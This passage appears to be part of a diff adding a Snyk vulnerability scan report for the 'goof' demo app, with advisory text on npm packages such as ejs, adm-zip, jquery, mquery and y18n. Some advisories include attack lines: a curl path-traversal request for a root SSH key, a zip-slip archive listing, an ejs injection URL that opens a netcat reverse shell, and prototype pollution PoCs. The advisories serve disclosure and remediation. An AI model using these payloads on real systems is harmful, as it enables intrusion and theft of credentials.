-----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `js-yaml` to version 3.13.0 or higher.\n# References\n- [GitHub Commit](https://github.com/nodeca/js-yaml/commit/a567ef3c6e61eb319f0bfc2671d91061afb01235)\n- [GitHub Issue](https://github.com/nodeca/js-yaml/issues/475)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.9, + "security-severity": "5.9" + } + }, + { + "id": "SNYK-JS-PARSEURL-2935947", + "shortDescription": { + "text": "Medium severity - Information Exposure vulnerability in parse-url" + }, + "fullDescription": { + "text": "(CVE-2022-0722) parse-url@5.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: parse-url\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › git-url-parse@11.1.2 › git-up@4.0.1 › parse-url@5.0.1\n# Overview\n[parse-url](https://www.npmjs.org/package/parse-url) is an An advanced url parser supporting git urls too.\n\nAffected versions of this package are vulnerable to Information Exposure due to improper validation.\n# Remediation\nUpgrade `parse-url` to version 6.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3)\n- [GitHub PR](https://github.com/IonicaBizau/parse-url/pull/37)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-200", + "npm" + ], + "cvssv3_baseScore": 4.8, + "security-severity": "4.8" + } + }, + { + "id": "SNYK-JS-ADMZIP-1065796", + "shortDescription": { + "text": "High severity - Directory Traversal vulnerability in adm-zip" + }, + "fullDescription": { + "text": "adm-zip@0.4.11" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: adm-zip\n* Introduced through: goof@1.0.1 and adm-zip@0.4.11\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › adm-zip@0.4.11\n# Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.\n\n# Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n# Remediation\nUpgrade `adm-zip` to version 0.5.2 or higher.\n# References\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/119dcad6599adccc77982feb14a0c7440fa63013)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-22", + "npm" + ], + "cvssv3_baseScore": 7.4, + "security-severity": "7.4" + } + }, + { + "id": "SNYK-JS-MINIMATCH-3050818", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in minimatch" + }, + "fullDescription": { + "text": "(CVE-2022-3517) minimatch@3.0.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: minimatch\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › glob@7.1.3 › minimatch@3.0.4\n* _Introduced through_: goof@1.0.1 › express-fileupload@0.0.5 › fs-extra@0.22.1 › rimraf@2.6.3 › glob@7.1.3 › minimatch@3.0.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › tmp@0.1.0 › rimraf@2.6.3 › glob@7.1.3 › minimatch@3.0.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › glob@7.1.3 › minimatch@3.0.4\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › tap-mocha-reporter@0.0.27 › glob@7.1.3 › minimatch@3.0.4\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-sbt-plugin@2.11.0 › tmp@0.1.0 › rimraf@2.6.3 › glob@7.1.3 › minimatch@3.0.4\n* _Introduced through_: goof@1.0.1 › dustjs-linkedin@2.6.0 › cli@0.6.6 › glob@3.2.11 › minimatch@0.3.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › spawn-wrap@1.2.3 › rimraf@2.5.2 › glob@7.0.3 › minimatch@3.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › glob@5.0.15 › minimatch@2.0.10\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › fileset@0.2.1 › minimatch@2.0.10\n# Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `braceExpand` function in `minimatch.js`.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `minimatch` to version 3.0.5 or higher.\n# References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-JQUERY-567880", + "shortDescription": { + "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in jquery" + }, + "fullDescription": { + "text": "(CVE-2020-11022) jquery@2.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: jquery\n* Introduced through: goof@1.0.1 and jquery@2.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › jquery@2.2.4\n# Overview\n\n[jquery](https://www.npmjs.com/package/jquery) is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.\n\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS).\nPassing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html(), .append()`, and others) may execute untrusted code.\n\n\n# Details:\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\r\n\r\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\r\n\r\nֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\r\n\r\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\r\n \r\nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \r\n\r\n## Types of attacks\r\nThere are a few methods by which XSS can be manipulated:\r\n\r\n|Type|Origin|Description|\r\n|--|--|--|\r\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\r\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \r\n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\r\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\r\n\r\n## Affected environments\r\nThe following environments are susceptible to an XSS attack:\r\n\r\n* Web servers\r\n* Application servers\r\n* Web application environments\r\n\r\n## How to prevent\r\nThis section describes the top best practices designed to specifically protect your code: \r\n\r\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \r\n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \r\n* Give users the option to disable client-side scripts.\r\n* Redirect invalid requests.\r\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\r\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\r\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n\n# Remediation\n\nUpgrade `jquery` to version 3.5.0 or higher.\n\n\n# References\n\n- [GHSA](https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2)\n\n- [GitHub Commit](https://github.com/jquery/jquery/commit/1d61fd9407e6fbe82fe55cb0b938307aa0791f77)\n\n- [JQuery 3.5.0 Release](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n\n- [JQuery Upgrade Guide](https://jquery.com/upgrade-guide/3.5/)\n\n- [PoC](https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html)\n\n- [Security Blog](https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html)\n\n- [Exploit DB](https://www.exploit-db.com/exploits/49766)\n\n- [PoC in GitHub](https://github.com/0xAJ2K/CVE-2020-11022-CVE-2020-11023)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 6.5, + "security-severity": "6.5" + } + }, + { + "id": "SNYK-JS-EJS-2803307", + "shortDescription": { + "text": "High severity - Remote Code Execution (RCE) vulnerability in ejs" + }, + "fullDescription": { + "text": "(CVE-2022-29078) ejs@0.8.8" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ejs\n* Introduced through: goof@1.0.1, ejs-locals@1.0.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › ejs-locals@1.0.2 › ejs@0.8.8\n* _Introduced through_: goof@1.0.1 › ejs@1.0.0\n# Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n# PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n# Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n# References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n- [Nuclei Templates](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-29078.yaml)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 8.1, + "security-severity": "8.1" + } + }, + { + "id": "SNYK-JS-Y18N-1021887", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in y18n" + }, + "fullDescription": { + "text": "(CVE-2020-7774) y18n@3.2.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: y18n\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › yargs@3.32.0 › y18n@3.2.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › yargs@4.7.1 › y18n@3.2.1\n# Overview\n[y18n](https://www.npmjs.com/package/y18n) is a the bare-bones internationalization library used by yargs\n\nAffected versions of this package are vulnerable to Prototype Pollution. PoC by po6ix:\r\n```\r\nconst y18n = require('y18n')();\r\n \r\ny18n.setLocale('__proto__');\r\ny18n.updateLocale({polluted: true});\r\n\r\nconsole.log(polluted); // true\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_No" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "SNYK-JS-MQUERY-1089718", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in mquery" + }, + "fullDescription": { + "text": "mquery@1.6.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mquery\n* Introduced through: goof@1.0.1, mongoose@4.2.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mquery@1.6.3\n# Overview\n[mquery](https://www.npmjs.org/package/mquery) is an Expressive query building for MongoDB\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeClone()` function.\r\n\r\n## PoC by zhou, peng\r\n```\r\nmquery = require('mquery');\r\nvar malicious_payload = '{\"__proto__\":{\"polluted\":\"HACKED\"}}';\r\nconsole.log('Before:', {}.polluted); // undefined\r\nmquery.utils.mergeClone({}, JSON.parse(malicious_payload));\r\nconsole.log('After:', {}.polluted); // HACKED\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-1279029", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in handlebars" + }, + "fullDescription": { + "text": "(CVE-2021-23383) handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.\r\n\r\n## POC\r\n```\r\n \r\n\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventi" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 5.6, + "security-severity": "5.6" + } + }, + { + "id": "SNYK-JS-COLORNAME-17614999", + "shortDescription": { + "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in color-name" + }, + "fullDescription": { + "text": "(CVE-2025-59140) color-name@1.1.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: color-name\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › boxen@1.3.0 › chalk@2.4.2 › ansi-styles@3.2.1 › color-convert@1.9.3 › color-name@1.1.3\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › chalk@2.4.2 › ansi-styles@3.2.1 › color-convert@1.9.3 › color-name@1.1.3\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › inquirer@6.5.2 › chalk@2.4.2 › ansi-styles@3.2.1 › color-convert@1.9.3 › color-name@1.1.3\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-gradle-plugin@3.2.4 › chalk@2.4.2 › ansi-styles@3.2.1 › color-convert@1.9.3 › color-name@1.1.3\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › chalk@2.4.2 › ansi-styles@3.2.1 › color-convert@1.9.3 › color-name@1.1.3\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › wrap-ansi@5.1.0 › ansi-styles@3.2.1 › 